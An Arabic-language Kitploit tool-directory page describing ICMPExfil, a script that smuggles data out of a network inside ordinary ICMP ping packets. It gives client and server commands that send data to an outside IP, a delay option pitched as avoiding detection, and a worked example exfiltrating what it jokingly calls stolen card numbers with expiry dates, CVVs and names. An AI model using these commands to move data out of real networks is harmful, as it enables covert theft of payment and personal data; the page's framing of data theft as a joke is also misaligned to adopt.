Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
ICMPExfil — تسريب البيانات باستخدام ICMP | Kitploit
أدوات/GitHubGitHub/martinoj2009/icmpexfil
تسريب البياناتأمن الشبكاتاختبار الاختراق
GitHubmartinoj2009/icmpexfil

ICMPExfil

تسريب البيانات باستخدام ICMP

عرض المستودع
10123منذ 8 سنواتتمت المراجعة من قبل Kitploit

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

إخفاء ICMP

تتيح لك أداة ICMP Exfil نقل البيانات عبر حزم ICMP صالحة. تستخدم البرنامج النصي للعميل لإدخال البيانات التي ترغب في استخراجها، ثم على الجهاز الذي ترسل إليه تقوم بتشغيل الخادم. أي شخص يراقب – سواء كان بشريًا أو نظام أمني – سيرى فقط حزم ICMP صالحة، فلا يوجد شيء خبيث في بنية الحزم. كما أن بياناتك ليست مخفية داخل حزم ICMP، لذا فإن النظر إلى الحزمة لا يكشف عما تم استخراجه.

لقطة شاشة

المؤلف

Martino Jones، martinojones.com.

ASCII

حاليًا، الشيء الوحيد الذي أضفت دعمًا له هو أحرف ASCII. ستتمكن من استخراج أي شيء يمكن تمثيله بأحرف ASCII (مثل الحروف والأرقام). على سبيل المثال: استعرت بعض الأرقام الرائعة المكونة من 16 رقمًا، يمكنك استخدام البرنامج النصي للعميل لإرسال تلك الأرقام إلى خادمك عن طريق تنفيذ ./ping.py --ascii "4111111111111111".

الإرسال إلى الخادم

لديك خياران لتعيين الخادم الذي تريد الإرسال إليه. يمكنك إما استخدام --ip أو تعيين عنوان IP الافتراضي في البرنامج النصي المسمى ipToPing.

الانتظار

إذا كنت تريد التحلي بالصبر قليلاً، وجعل من الصعب على الآخرين ملاحظة أنك تستخرج البيانات، فيمكنك استخدام --wait لتحديد مقدار الحد الأدنى للوقت + الوقت الذي يجب أن يمر لنقل البيانات. لا يزال هذا قيد التطوير... لذا ستحتاج إلى إجراء هذا التحويل بنفسك، لكن لن يستغرق الأمر وقتًا طويلاً لإضافته... ولا يهم كثيرًا لأن معظم الأشخاص والأنظمة الأمنية لا يكتشفون هذا بعد.

الإسهاب

إذا كنت تود رؤية أوامر ping أثناء تنفيذها، يمكنك استخدام --show.

بدء/إيقاف الخادم

عندما تريد بدء تشغيل الخادم، فقط قم بتنفيذ sudo python3 server.py. لا تحتاج إلى فعل أي شيء آخر. عندما تنتهي، فقط اضغط على Control+C. حاليًا، يحتاج الخادم إلى تحسين، فهو بحاجة إلى تعيين الإدخال بناءً على من أرسل البيانات، الآن فقط قمت باختباره مع عميل واحد يرسل أوامر ping إلى الخادم، وهذا بالطبع يحتاج إلى ضبط. الأساس موجود بالفعل، فقط بحاجة إلى تجميع إعادة الضبط.

مثال

وجدت قاعدة بيانات مليئة بهذه الأرقام الرائعة المكونة من 16 رقمًا، أحتاج إلى حفظها لمزيد من البحث لذلك قمت بحفظها في ملف باسم file: الأمر:./ping.py --ip 1.2.3.4 --asciiFile file محتوى الملف: 4587965312457852 01/15 456 Martino Jones | 4567965382457452 03/16 236 Martino Joe البيانات المشفرة: ['0110100', '0110101', '0111000', '0110111', '0111001', '0110110', '0110101', '0110011', '0110001', '0110010', '0110100', '0110101', '0110111', '0111000', '0110101', '0110010', '0100000', '0110000', '0110001', '0101111', '0110001', '0110101', '0100000', '0110100', '0110101', '0110110', '0100000', '1001101', '1100001', '1110010', '1110100', '1101001', '1101110', '1101111', '0100000', '1001010', '1101111', '1101110', '1100101', '1110011', '0100000', '1111100', '0100000', '0110100', '0110101', '0110110', '0110111', '0111001', '0110110', '0110101', '0110011', '0111000', '0110010', '0110100', '0110101', '0110111', '0110100', '0110101', '0110010', '0100000', '0110000', '0110011', '0101111', '0110001', '0110110', '0100000', '0110010', '0110011', '0110110', '0100000', '1001101', '1100001', '1110010', '1110100', '1101001', '1101110', '1101111', '0100000', '1001010', '1101111', '1100101', '0001010'] الخادم:

root@kitploit:~
Calculating offsets


4 5 8 7 9 6 5 3 1 2 4 5 7 8 5 2   0 1 / 1 5   4 5 6   M a r t i n o   J o n e s   |   4 5 6 7 9 6 5 3 8 2 4 5 7 4 5 2   0 3 / 1 6   2 3 6   M a r t i n o   J o e 

المهام القادمة

إذا كنت ترغب في المساعدة، هناك عدد من الأشياء التي ما زلت بحاجة لإضافتها:

  • نقل الملفات الثنائية، يمكن فقط قراءة الملف كبيانات ثنائية ولن نحتاج إلى الترميز.
  • السماح بتمرير الإزاحة إلى الخادم، في حال كنت ترغب في جعل النافذة أكبر أو أصغر، مفيد بشكل خاص عبر الاتصالات الضعيفة جدًا.
  • طباعة تعيين عنوان IP إلى البيانات عند الانتهاء.
  • السماح بوضع الخادم الصامت.
  • السماح بعرض البيانات أثناء ورودها، هذا أكثر تعقيدًا قليلاً، لكنه يتطلب فقط حسابات إزاحة فورية.
  • المزيد من الأشياء كما تخطر على البال ;-)
تنزيل الأداة